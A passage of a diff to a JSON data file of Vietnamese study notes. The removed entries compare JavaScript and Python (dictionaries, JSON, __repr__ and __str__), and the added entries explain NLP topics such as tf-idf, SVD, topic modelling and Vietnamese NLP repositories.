hash table là những cái tên cho cùng một thứ]]\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]", + "Toàn bộ nội dung": "Cách tô:\r\n1. Mỗi văn bản có càng ít màu càng tốt\r\n2. Mỗi từ có càng ít màu càng tốt\r\n\r\nVới mỗi từ chưa được tô màu, thuật toán Gibbs sẽ thống kê các màu đã được tô trước, sau đó chọi phi tiêu vào để lấy màu theo xác suất. Như vậy màu nào thoả điều kiện thì sẽ có xác suất to hơn, nhưng vẫn không loại trừ những cái nhỏ hơn\r\n\r\n![1](https://i.stack.imgur.com/BfTJjm.png)\r\n\r\nNguồn:: ![Training Latent Dirichlet Allocation: Gibbs Sampling](https://www.youtube.com/watch?v=BaM1uiCpj_E&t=452s)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XJ" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "b2" }, { - "Tiêu đề": "Trong JS, console.log() sẽ hiển thị toàn bộ nội dung vật thể mà không phải làm gì. Trong Python, print() sẽ chỉ hiển thị nội dung vật thể nếu __str__() đã được định nghĩa", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Trong JS, console.log() sẽ hiển thị toàn bộ nội dung vật thể mà không phải làm gì. Trong Python, print() sẽ chỉ hiển thị nội dung vật thể nếu __str__() đã được định nghĩa", + "Tiêu đề": "Mô hình bản chất là một phép biến đổi không gian vector", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/Mô hình bản chất là một phép biến đổi không gian vector", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong REPL của JS (console), việc gọi trực tiếp vật thể không khác gì `console.log()` nó. Cả hai đều hiểu thị hết các dữ liệu của nó. Trong khi đó ở Python thì không như vậy. [[Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()]]. [[__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng]] \r\n\r\n| | JS | Python |\r\n| -------------- | ----------------------------------------- | ------------------------- |\r\n| Đọc thuộc tính | `object.attribute`, `object['attribute']` | `object.get('attribute')` |\r\n\r\n\r\n[[Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định]]. [[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]], còn [[Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết]]\r\n\r\n[[JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể]]\r\n\r\nThứ có vẻ như thực sự tương đương ", + "Toàn bộ nội dung": "[[tf-idf giúp xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản|tf-idf]] là một mô hình như vậy\r\nNguồn:: [Core Concepts — gensim](https://radimrehurek.com/gensim/auto_examples/core/run_core_concepts.html#model)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XK" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "b3" }, { - "Tiêu đề": "Từ điển dùng để chứa và thao tác với dữ liệu, trong khi JSON về bản chất dùng để mã hóa và giải mã dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Từ điển dùng để chứa và thao tác với dữ liệu, trong khi JSON về bản chất dùng để mã hóa và giải mã dữ liệu", + "Tiêu đề": "Mô hình chủ đề rất hữu dụng cho việc diễn giải", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/Mô hình chủ đề rất hữu dụng cho việc diễn giải", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "JSON sẽ chuyển đổi dữ liệu thành một chuỗi byte có thể lưu trữ và truyền qua mạng, dùng để response cho API. Và ta dùng JSON khi muốn lưu dữ liệu ở phía server.\r\nNguồn:: [Tìm hiểu về JSON và sự khác nhau giữa JSON và Dictionary trong Python - Python - Magestore](https://stories.magestore.com/t/tim-hi-u-v-json-va-s-khac-nhau-gi-a-json-va-dictionary-trong-python/1247#:~:text=Dictionary%20trong%20Python%20được%20hiểu,dùng%20để%20response%20cho%20API%2e)\r\n\r\n| JSON | Dictionary |\r\n| ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |\r\n| The keys in JSON can be only strings. | The keys in the dictionary can be any hashable object. |\r\n| In JSON, the keys are sequentially ordered and can be repeated. | In the dictionary, the keys cannot be repeated and must be distinct. |\r\n| In JSON, the keys have a default value of undefined. | Dictionaries do not have any default value set. |\r\n| IN JSON file format, the values are accessed by using the “.”(dot) or “[]” operator. | In the dictionary, the values are mostly accessed by the subscript operator. For example, if 'dict' = {'A':'123R' ,'B':'678S'} then by simply calling dict['A'] we can access values associated. |\r\n| We are required to use the double quotation for the string object | We can use either a single or double quote for the string objects |\r\n| The return object type in JSON is a ‘string’ object type | The return object type in a dictionary is the ‘dict’ object type |\r\nNguồn:: [Convert Dictionary to JSON Python - Scaler Topics](https://www.scaler.com/topics/convert-dictionary-to-json-python/#:~:text=Difference%20between%20dict%20and%20JSON&text=The%20keys%20in%20JSON%20can,repeated%20and%20must%20be%20distinct%2e)\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]\r\n[[Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển]]\r\n[[JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể]]\r\n", + "Toàn bộ nội dung": "You'll still see many researchers in digital humanities using topic models, for instance, because they care about telling a good story and understanding their data.\nNguồn:: [Jordan Boyd-Graber: Faq](http://users.umiacs.umd.edu/~jbg/static/faq.html)\n[[Nhân văn số sử dụng mô hình chủ đề rất nhiều]] \n[[Gensim tập trung vào mô hình chủ đề]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XL" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-10T10:04:00.000Z", + "id": "b4" }, { - "Tiêu đề": "Ý nghĩa tên folder", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Ý nghĩa tên folder", + "Tiêu đề": "SVD ban đầu là để tìm ra một phép xoay không gian mà vẫn giữ nguyên tích vô hướng của các vector", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/SVD ban đầu là để tìm ra một phép xoay không gian mà vẫn giữ nguyên tích vô hướng của các vector", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Folder structure varies by build system and programming language. Here are some standard conventions:\r\n- `src/`: \"source\" files to build and develop the project. This is where the original source files are located, before being compiled into fewer files to `dist/`, `public/` or `build/`.\r\n- `dist/`: \"distribution\", the compiled code/library, also named `public/` or `build/`. The files meant for production or public use are usually located here. \r\n There may be a slight difference between these three:\r\n\t- `build/`: is a compiled version of your `src/` but not a production-ready.\r\n\t- `dist/`: is a production-ready compiled version of your code.\r\n\t- `public/`: usually used as the files runs on the browser. which it may be the server-side JS and also include some HTML and CSS.\r\n- `assets/`: static content like images, video, audio, fonts etc.\r\n- `lib/`: external dependencies (when included directly).\r\n- `test/`: the project's tests scripts, mocks, etc. \r\n- `node_modules/`: includes libraries and dependencies for JS packages, used by Npm.\r\n- `vendor/`: includes libraries and dependencies for PHP packages, used by Composer.\r\n- `bin/`: files that get added to your PATH when installed.\r\nNguồn:: [What is the meaning of the /dist directory in open source projects?](https://stackoverflow.com/a/22844164/3416774)", + "Toàn bộ nội dung": "Từ mối liên hệ này khái niệm về ma trận trực giao đã hình thành để tạo ra các phép xoay đặc biệt.\r\n\r\nPhương pháp SVD sẽ tìm ra một lớp các ma trận xấp xỉ tốt nhất với một ma trận cho trước dựa trên khoảng cách norm Frobenios giữa 2 ma trận. Người ta đã chứng minh được rằng ma trận xấp xỉ tốt nhất được biểu diễn dưới dạng tích của 3 ma trận rất đặc biệt bao gồm 2 _ma trận trực giao_ (orthogonal matrix) và 1 _ma trận đường chéo_ (diagonal matrix). Quá trình nhân ma trận thực chất là quá trình biến đổi các điểm dữ liệu của ma trận gốc thông qua những phép xoay trục (rotation) và phép thay đổi độ lớn (scaling) và từ đó tạo ra những điểm dữ liệu mới trong không gian mới. Điều đặc biệt của ma trận đường chéo đó là các phần tử của nó chính là những giá trị riêng của ma trận gốc. Những điểm dữ liệu trong không gian mới có thể giữ được 100% thông tin ban đầu hoặc chỉ giữ một phần lớn thông tin của dữ liệu ban đầu thông qua các phép truncate SVD. Bằng cách sắp xếp các trị riêng theo thứ tự giảm dần trên đường chéo chính thuật toán SVD có thể thu được ma trận xấp xỉ tốt nhất mà vẫn đảm bảo giảm được hạng của ma trận sau biến đổi và kích thước các ma trận nhân tử nằm trong giới hạn cho phép. Do đó nó tiết kiệm được thời gian và chi phí tính toán và đồng thời cũng tìm ra được một giá trị dự báo cho ma trận gốc với mức độ chính xác cao.\r\n\r\nNguồn:: [[Phạm Đình Khánh]], [Singular Value Decomposition | Kaggle](https://www.kaggle.com/code/phamdinhkhanh/singular-value-decomposition/notebook)\r\n\r\nBới vì [[Độ tương đồng của hai vector chính là tích vô hướng vừa nó]], nên SVD không làm biến dạng độ tương đồng của chúng\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XM" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "b5" }, { - "Tiêu đề": "Ở JS, nếu một biến có giá trị là một chuỗi JSON thì nó sẽ được hiểu là vật thể. Ở Python, nó được hiểu là từ điển", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Ở JS, nếu một biến có giá trị là một chuỗi JSON thì nó sẽ được hiểu là vật thể. Ở Python, nó được hiểu là từ điển", + "Tiêu đề": "tf-idf giúp xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/tf-idf giúp xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức|Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển]]\r\n\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]", + "Toàn bộ nội dung": "Trong một bộ văn bản có rất nhiều văn bản. Làm sao để xác định được độ đặc trưng của một văn bản trong đó? Thường thì ta sẽ xem những từ đặc trưng mà chỉ văn bản đó có. Những từ hiếm khi được tìm thấy trong bộ văn bản nhưng có mặt trong một văn bản cụ thể có thể quan trọng hơn.\r\n\r\nVậy làm sao để xác định được độ đặc trưng của một từ đối với một văn bản?\r\n- Từ đó xuất hiện nhiều lần trong văn bản đó\r\n- Không có nhiều văn bản chứa từ đó\r\n\r\nTức là, để có $tf\\textendash idf$ lớn thì:\r\n- Số lần từ đó trong văn bản đó xuất hiện lớn \r\n- Số văn bản chứa từ đó trong bộ văn bản nhỏ \r\n\r\nTức là:\r\n- *Tần số từ* (term frequency) lớn\r\n- Tần số văn bản nhỏ ⇔*nghịch đảo tần số văn bản* (inverse document frequency) lớn\r\n\r\nGộp cả 2 cái lại, người ta đưa ra khái niệm **term frequency–inverse document frequency** (tần số từ-nghịch đảo tần số văn bản), viết tắt là **$tf\\textendash idf$**, để xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản. Công thức tính $tf\\textendash idf$ cho từ $t$ của văn bản $d$ trong bộ văn bản như sau:\r\n$$\\begin{aligned}\r\n\r\n\\\\ tf\\textendash idf(t, d) &= tf(t, d) \\times idf(t) \r\n\\\\ &= tf(t, d) \\times \\log\\frac{N}{df(d)}\r\n\\end{aligned}$$\r\n\r\n- Nếu $df(d)=N$, từ $t$ xuất hiện trong tất cả các văn bản. Nó trở nên quá đại trà, chung chung. $tf\\textendash idf = 0$\r\n\r\n%%\r\nDo đó cần tăng trọng số của các nhóm từ ngữ để tách chúng ra khỏi các từ phổ biến.\r\nNgoài ra, nếu văn bản nào cũng chứa từ đó nghĩa là từ đó là một từ đại trà, không có ý nghĩa gì. Vậy thì *$tf\\textendash idf$ của nó nên bằng $0$ khi tần số văn bản bằng tổng số văn bản trong bộ văn bản*.\r\n%%\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XN" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "b6" }, { - "Tiêu đề": "JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt triết lý/JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết", + "Tiêu đề": "tf-idf mạnh hơn count vector", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/tf-idf mạnh hơn count vector", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]], còn [[Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết]]\r\n\r\n[[TypeScript cung cấp kiểu cho JS]]", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XO" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "b7" }, { - "Tiêu đề": "Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt triết lý/Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển", + "Tiêu đề": "Mô hình trích chọn từ", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình trích chọn từ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức|Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển]]\r\n[[Ở JS, nếu một biến có giá trị là một chuỗi JSON thì nó sẽ được hiểu là vật thể. Ở Python, nó được hiểu là từ điển]].\r\n\r\nSau này JS cũng có thêm từ điển, và nó được gọi là map (ánh xạ). Nhưng nhiều người vẫn không biết, hoặc không có thói quen sử dụng.\r\n[[Map trong JS tương đương với dictionary trong Python]]. [[Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ]]", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-27T08:21:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XP" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "b8" }, { - "Tiêu đề": "Nếu lớp không định nghĩa cả __repr__() và __str__() thì kết quả trả về có dạng __main__.Class_name object at 0x1025c4ed0", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Class/Nếu lớp không định nghĩa cả __repr__() và __str__() thì kết quả trả về có dạng __main__.Class_name object at 0x1025c4ed0", + "Tiêu đề": "Phân tích xu hướng, NLP", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```python\r\nclass Book:\r\n def __init__(self, title, author):\r\n self.title = title\r\n self.author = author\r\n\r\nodyssey = Book(\"The Odyssey\", \"Homer\")\r\n\r\nprint(odyssey)\r\nprint(repr(odyssey))\r\nprint(str(odyssey))\r\n```\r\n\r\n```\r\n<__main__.Book object at 0x1025c4ed0>\r\n```\r\n\r\nThis output is the default string representation of an object that’s inherited from the `object` class. The `object` class is the base class for all Python classes. It shows:\r\n\r\n- **`__main__.Book`:** The name of the class and where it’s defined\r\n- **`0x1025c4ed0`:** The memory address of the object\r\n\r\nNguồn:: [[Real Python]], [When Should You Use .\\_\\_repr\\_\\_() vs .\\_\\_str\\_\\_() in Python? – Real Python](https://realpython.com/python-repr-vs-str/)\r\n", + "Toàn bộ nội dung": "Danh sách các repo trên GitHub có tag `nlp` và `vietnamese`\n- [undertheseanlp/underthesea](https://github.com/undertheseanlp/underthesea.git)\n- [vncorenlp/VnCoreNLP](https://github.com/vncorenlp/VnCoreNLP.git)\n- [undertheseanlp/chatbot](https://github.com/undertheseanlp/chatbot.git)\n- [undertheseanlp/automatic_speech_recognition](https://github.com/undertheseanlp/automatic_speech_recognition.git)\n- [undertheseanlp/word_tokenize](https://github.com/undertheseanlp/word_tokenize.git)\n- [anhthuan1999/Vietnamese-News-Classification](https://github.com/anhthuan1999/Vietnamese-News-Classification.git)\n- [ngockhanh5110/nlp-vietnamese-text-summarization](https://github.com/ngockhanh5110/nlp-vietnamese-text-summarization.git)\n- [henryle97/Spelling_Correction_Vietnamese](https://github.com/henryle97/Spelling_Correction_Vietnamese.git)\n- [pbcquoc/vietnamese_word_seperate](https://github.com/pbcquoc/vietnamese_word_seperate.git)\n- [undertheseanlp/sentiment](https://github.com/undertheseanlp/sentiment.git)\n- [undertheseanlp/pos_tag](https://github.com/undertheseanlp/pos_tag.git)\n- [undertheseanlp/speech_classification](https://github.com/undertheseanlp/speech_classification.git)\n- [undertheseanlp/chunking](https://github.com/undertheseanlp/chunking.git)\n- [undertheseanlp/sent_tokenize](https://github.com/undertheseanlp/sent_tokenize.git)\n- [congphase/img-captioning-in-vietnamese](https://github.com/congphase/img-captioning-in-vietnamese.git)\n- [matbahasa/ProSub](https://github.com/matbahasa/ProSub.git)\n- [letuananh/chirptext](https://github.com/letuananh/chirptext.git)\n- [bmd1905/vietnamese-correction](https://github.com/bmd1905/vietnamese-correction.git)\n- [duongntbk/restore_vietnamese_diacritics](https://github.com/duongntbk/restore_vietnamese_diacritics.git)\n- [longday1102/Demo-QA-Extraction-system](https://github.com/longday1102/Demo-QA-Extraction-system.git)\n- [nhtlongcs/shopee-reviews-sentiment-analysis](https://github.com/nhtlongcs/shopee-reviews-sentiment-analysis.git)\n- [baodv1001/TrendBot](https://github.com/baodv1001/TrendBot.git)\n- [nguyenhuuthuat09/VLSP2020_Relation_Extraction](https://github.com/nguyenhuuthuat09/VLSP2020_Relation_Extraction.git)\n- [hugo53/HUsyntactic](https://github.com/hugo53/HUsyntactic.git)\n- [VFND/VMDS-vietnamese-misspell-dataset-from-Social-media](https://github.com/VFND/VMDS-vietnamese-misspell-dataset-from-Social-media.git)\n- [anssssss/Vietnamese-Speech-Recognition](https://github.com/anssssss/Vietnamese-Speech-Recognition.git)\n- [vega-ai/vietr](https://github.com/vega-ai/vietr.git)\n- [undertheseanlp/lang_detect](https://github.com/undertheseanlp/lang_detect.git)\n- [undertheseanlp/word_embeddings](https://github.com/undertheseanlp/word_embeddings.git)\n- [congnghia0609/ntc-vntok](https://github.com/congnghia0609/ntc-vntok.git)\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-27T15:34:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XQ" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-02T08:01:00.000Z", + "id": "b9" }, { - "Tiêu đề": "Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Class/Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()", + "Tiêu đề": "Tổng quan về mô hình chủ đề", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Tổng quan về mô hình chủ đề", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```python\r\n>>> import datetime\r\n>>> today = datetime.datetime.now()\r\n\r\n>>> today\r\ndatetime.datetime(2023, 2, 18, 18, 40, 2, 160890)\r\n\r\n>>> print(today)\r\n2023-02-18 18:40:02.160890\r\n```\r\nNguồn:: [[Real Python]], [When Should You Use .\\_\\_repr\\_\\_() vs .\\_\\_str\\_\\_() in Python? – Real Python](https://realpython.com/python-repr-vs-str/)\r\n[[__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng]] \r\n\r\n```python\r\nfrom datetime import datetime\r\nclass Event:\r\n    def __init__(self, summary:str, description:str, location:str, startDate:datetime, endDate:datetime):\r\n        self.summary = summary\r\n        self.description = description\r\n        self.location = location\r\n        self.startDate = startDate\r\n        self.endDate = endDate\r\n    def __str__(self):\r\n        return f'{self.summary}\\t{self.startDate.strftime(\"%Y-%m-%d %H:%M:%S\")}'\r\nstartDate = datetime(2023, 12, 14, 16, 00, 00)\r\nendDate = datetime(2023, 12, 14, 17, 00, 00)\r\n\r\nevent = Event('summary', 'description', 'location', startDate, endDate)\r\n\r\nprint(event)\r\n```", + "Toàn bộ nội dung": "[HỒ TRUNG THÀNH, PHÂN TÍCH MẠNG Xà HỘI DỰA THEO MÔ HÌNH CHỦ ĐỀ VÀ ỨNG DỤNG](https://sdh.uit.edu.vn/sites/default/files/201711/3_-_tom_tat_luan_an_-_ho_trung_thanh_-_20112017.pdf)\r\n\r\n[PHÂN TÍCH MẠNG Xà HỘI THEO CHỦ ĐỀ VÀ ỨNG DỤNG VÀO CÔNG TÁC TƯ VẤN HỌC TẬP CHO SINH VIÊN (PHÂN TÍCH MẠNG Xà HỘI DỰA THEO MÔ HÌNH CHỦ ĐỀ VÀ ỨNG DỤNG)](https://sdh.uit.edu.vn/sites/default/files/201510/slide_bao_cao_hoc_thuat_-_lan_1_-_ho_trung_thanh.pdf)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-26T14:04:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XR" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bA" }, { - "Tiêu đề": "__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Class/__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng", + "Tiêu đề": "Tổng quan về xử lý tiếng Việt", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Tổng quan về xử lý tiếng Việt", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Real Python]], [When Should You Use .\\_\\_repr\\_\\_() vs .\\_\\_str\\_\\_() in Python? – Real Python](https://realpython.com/python-repr-vs-str/)\r\n\r\nI was advised to not use `vars()` or `__dict__`, just use the actual API of the classes. If an object isn't printing well without that introspection, then that's the devs fault for not writing proper string and print methods (usually via `__repr__`). Or in other words, Python defers the responsibility to display the objects to the dev, while JS takes that responsibility.\r\nNguồn:: [Is it correct that Python does not encourage us to read objects's content?](https://langdev.stackexchange.com/q/2966/223)\r\n[[Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()]]\r\n[[Nếu lớp không định nghĩa cả __repr__() và __str__() thì kết quả trả về có dạng __main__.Class_name object at 0x1025c4ed0]] \r\n", + "Toàn bộ nội dung": "Nguồn:: [Hồ Tú Bảo, Lương Chi Mai, 2005, Về xử lý tiếng Việt trong công nghệ thông tin](http://www.jaist.ac.jp/~bao/Writings/VLSPwhitepaper%20-%20Final.pdf)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-27T08:07:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XS" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bB" }, { - "Tiêu đề": "elif là để phân biệt else thuộc if nào", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/elif là để phân biệt else thuộc if nào", + "Tiêu đề": "Bộ từ trong dictionary sẽ quyết định bộ vector", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Bộ từ trong dictionary sẽ quyết định bộ vector", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Why do some programming languages choose to have a dedicated keyword for elseif instead of using else + if like in C?](https://langdev.stackexchange.com/q/9/223)\r\n", + "Toàn bộ nội dung": "Nguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-27T06:58:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XT" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bC" }, { - "Tiêu đề": "Exception", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Exception", + "Tiêu đề": "Túi từ không phân biệt được những câu có cùng các từ bởi nó không phân biệt thứ tự trước sau của các từ trong một câu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Túi từ không phân biệt được những câu có cùng các từ bởi nó không phân biệt thứ tự trước sau của các từ trong một câu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội 